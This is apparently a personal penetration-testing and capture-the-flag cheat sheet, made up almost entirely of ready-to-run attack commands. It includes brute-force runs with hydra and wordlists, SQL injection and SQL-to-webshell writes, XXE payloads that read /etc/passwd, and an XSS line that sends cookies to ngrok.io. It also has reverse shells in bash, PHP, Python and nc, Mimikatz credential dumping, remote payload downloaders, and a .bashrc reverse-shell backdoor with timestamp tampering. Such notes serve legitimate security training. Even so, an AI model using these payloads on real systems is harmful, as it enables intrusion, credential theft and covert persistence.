~/cheatsheet

hydra -l username -P /usr/share/wordlists/rockyou.txt $IP http-post-form "/login:username=^USER^&password=^PASS^:S=302" -V
hydra -l username -P /usr/share/wordlists/rockyou.txt $IP -t 4 ssh
hydra -l username -P /usr/share/wordlists/rockyou.txt $IP -t 4 mysql

wpscan --url $IP -U username --passwords /etc/wordlists/rockyou.txt
ffuf -w /usr/share/wordlists/10k-most-common.txt -X POST -d '$data' -u http://$IP/FUZZ
ffuf -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -u http://$IP/FUZZ -e php

nmap -A -T4 -oN scan $IP
nmap -sV -sC -Pn -n -A $IP
rustscan -a $IP  -- -A

nikto -h $IP
zaproxy
snyk
Nessus

Directory / File

ffuf -c -w /usr/share/wordlists/rockyou.txt -t 50 -e txt,php,db --hc 404 -u $IP
gobuster dir -w /usr/share/wordlists/directory-list-2.3-medium.txt -x txt -t 100 -u $IP
gobuster vhost --append-domain -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 50 -u $IP

wfuzz -c -z file,/usr/share/wordlists/wfuzz/Injections/SQL.txt -d "identifier=admin&password=FUZZ" -u $IP

enum4linux -a $IP
sqlmap -u $IP/loginpage --forms --dump
wpscan --url $IP --api-token "YOUR_TOKEN"

gitleaks --repo-path $path -v

Subdomains

shodan.io
amass enum -passive -d example.com -o example.com.subs.txt
amass enum -active -brute -w /path/DNS/clean-jhaddix-dns.txt -d example.com -o example.com.subs.brute.txt
amass enum -df rootdomains.txt -max-dns-queries 100 -w subdomains.txt -o foundSubdomains.txt

Horizontal

whois domain.com
dig a subdomain.domain.com +short

# Certificate transparency, copyright, terms
intext:"©2021 imaginaryCompany All rights reserved."

Vertical — Certs

Vertical — Wayback

cat domains.txt | waybackurls > urls

Vertical — OSINT

pastebin (intext:), github or gitlab, github-search

Existing Databases

zgrep '\.domain\.com",' path_to_chosen_dataset.json.gz

dig axfr @<DNS_IP>                       # try without domain
dig axfr @<DNS_IP> <DOMAIN>              # guess the domain
fierce --domain <DOMAIN> --dns-servers <DNS_IP>
dig ANY @<DNS_IP> <DOMAIN>              # ANY, A, AAAA, TXT, MX, NS...

crackmapexec
ldapsearch -x -h <IP> -s base namingcontexts
ldapsearch -x -h <IP> -b '<naming context>'

# Example
ldapsearch -x -h 10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL'

showmount -e $IP
sudo mount $IP:/file/trace /tmp

/usr/bin/smbclient \\$IP\file
/usr/bin/smbclient -L $IP

mysql --protocol=tcp --host=$IP --port=3306 --user=root -p
xfreerdp /u:"user" /p:"pass" /v:$IP

# SSH keys
/usr/share/john/ssh2john.py (file) > output
sudo john -w=/usr/share/wordlists/rockyou.txt (hash)
hashcat -m "type" .txt /usr/share/wordlists/rockyou.txt

# Archives
sudo zip2john .zip > output
sudo rar2john .rar > hash
fcrackzip .zip
7z e .zip

# GPG
sudo gpg2john .asc > output
gpg --import .asc
gpg --decrypt .pgp

python3 -c "import pty;pty.spawn('/bin/bash')"
getcap -r / 2>/dev/null
ps -aux
netstat -lntup / -tulwn
cat ~/.*history | less

# SETUID or SETGID bits
find / -type f \( -perm -4000 -o -perm -2000 \) -print
find / -name flag.txt -user.txt -type f 2>/dev/null

# Writable
find /etc -writable -ls 2>/dev/null

# Sudoers
echo '$user  ALL=(ALL:ALL) ALL' >> /etc/sudoers
ALL=(ALL:ALL) NOPASSWD:ALL

# Cron
*  *    * * *   root    bash /tmp/zsr

# With Python
python3 -c "import pty;pty.spawn('/bin/bash')"

# Without Python
/usr/bin/script -qc /bin/bash /dev/null

# Full TTY
^Z
stty raw -echo; fg
export TERM=xterm-256color
stty rows <num> columns <cols>

Tools

rabin2 (-z, -I), gdb, r2 (aaa, pdf), strings
xxd, ltrace, strace, objdump, hexedit, hexdump
checksec --file=<file>

Pattern offset

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 6A413969

Vulnerable functions

gets() & strcpy() & strcat() & strcmp() & sprintf()

Core dump

^Z
kill -s SIGSEGV PID && fg
apport-unpack /var/crashes/_$program_.crash /tmp/crash-report

strace ./file
ltrace ./file
objdump -x file
strings file
upx -d file -o output

# Editors
r2 -A file
Ghidra
cutter

'<script>alert(document.cookie)</script>
<img src=x onerror=alert(document.cookie) >
<script>document.location = "ngrok.io"+ document.cookie </script>

xsser -- automatic framework for xss

WAF

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]>
<root>&read;</root>

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=acc.php"> ]>

SSRF + XXE

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>

Blind — error based

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

XInclude

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

Upload vectors: docx (unzip), svg, image processing libraries (PNG/JPEG can support svg). Modified content-type: Content-Type: text/xml

-- Union injection
0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'
0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'staff_users'
group_concat(username,':',password SEPARATOR '<br>') FROM staff_users

-- Comments
--     : Comment Type 1
--+    : Comment Type 2
--+-   : SQL Comment
/**/   : Inline Comment
;%00   : Null Byte

SQL → RCE

SELECT "<?php system($_GET['cmd']); ?>" into outfile "/var/www/html/shell.php"
SELECT sys_exec('chmod u+s /usr/bin/find');
echo os.system('/bin/bash')

stegcracker .png /usr/share/wordlists/rockyou.txt
steghide --extract -sf .png
stegoveritas .jpg
binwalk --dd '.*' .jpg
exiftool
hexedit

bash -i >& /dev/tcp/$IP/4444 0>&1
php -r '$sock=fsockopen("$IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc $IP 4444 >/tmp/f

../../../etc/passwd

# Bypass filters
.././..
..//..
...//...
%00 -- Nullbyte (php5)
%%32%65

Log Poisoning

../../../../../../../etc/httpd/logs/access_log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/apache2/error.log

curl "url" -H "User-Agent: <?php system($_GET['c']); ?>"
php://filter/convert.base64-encode/resource=

# SSRF — redirect to localhost
file://
gopher://  (could lead to RCE — Gopherus)
ftp:// dict:// ssh:// smb:// http:// https://

SSRF is powerful when combined with a second vulnerability. CSRF = delete profile / send something.

Reset Password

# SAM
Windows/System32/config
sudo chntpw -i SAM

# Mimikatz
privilege::debug
lsadump::sam
sekurlsa::logonpasswords

Reverse Shell

Transfer Files

certutil.exe -urlcache -split -f http://<IP>/file.exe
powershell.exe -NoProfile -ExecutionPolicy unrestricted -Command (new-object System.Net.WebClient).Downloadfile('http://<IP>/file.exe', 'C:\temp\file.exe')

Firewall

netsh advfirewall firewall add rule name="NAME" dir=in action=allow protocol=tcp localport=PORT

sudo tcpdump -i tun0
service apache2 start
python3 -m http.server 1800

ssh -i ~/.ssh/id_rsa -L $ACK_PORT:127.0.0.1:$VIC_PORT $USER@$IP -fN

aws configure --profile ""
aws s3 ls --profile ""

aws sts get-access-key-info --access-key-id "AKIA**"
aws sts get-caller-identity --profile ""

aws ec2 describe-instances --output text --profile ""
aws secretsmanager list-secrets --profile hr
aws secretsmanager get-secret-value --secret-id "" --profile "" --region ""

Backdoors

ssh-keygen
# .so file, php file
echo 'bash -i >& /dev/tcp/$IP/4444 0>&1' >> ~/.bashrc
touch -t YYYYMMDDhhmm <file>  # modify creation time

Bash Loops

for i in {1..100}; do (sleep 1; echo "get /") | telnet $IP $i | grep 550 >> x ; done
for i in {2500..4500}; do COMMAND ; done
while true ; do ssh -i id_rsa hades@hell -p `shuf -i 2500-4500 -n 1` ; done

site:.eu responsible disclosure
inurl:index.php?id=
site:.nl bug bounty
"index of" inurl:wp-content/       # Identify WordPress
inurl:"q=user/password"            # Find Drupal
site:example.com filetype:bak       # .mdf, .zip, .sql, .db, .pdf

# OSINT
site: codepen.io, pastebin (intext:)
Aquatone

# Filtering wordlists
grep -x '.\{8,20\}' > 8-20_length_wordlist
grep -o '[^ ]*[a-z][^ ]*' > contains_lowercase.txt
grep -o '[^ ]*[A-Z][^ ]*' > contains_uppercase.txt
grep -o '[^ ]*[0-9][^ ]*' > contains_numbers.txt
grep -v "^[A-Za-z0-9]*$" > contains_special.txt

# Useful
searchsploit -x example   # examine
searchsploit -m example    # make copy
jq -- pretty print json
fakeroot
/proc/$i/cmdline

Aliases — troll mode

alias ls='echo "command not found"'
alias cat='echo "command not found"'
alias nano='echo "command not found"'
alias vim='echo "command not found"'
alias cd='echo "command not found"'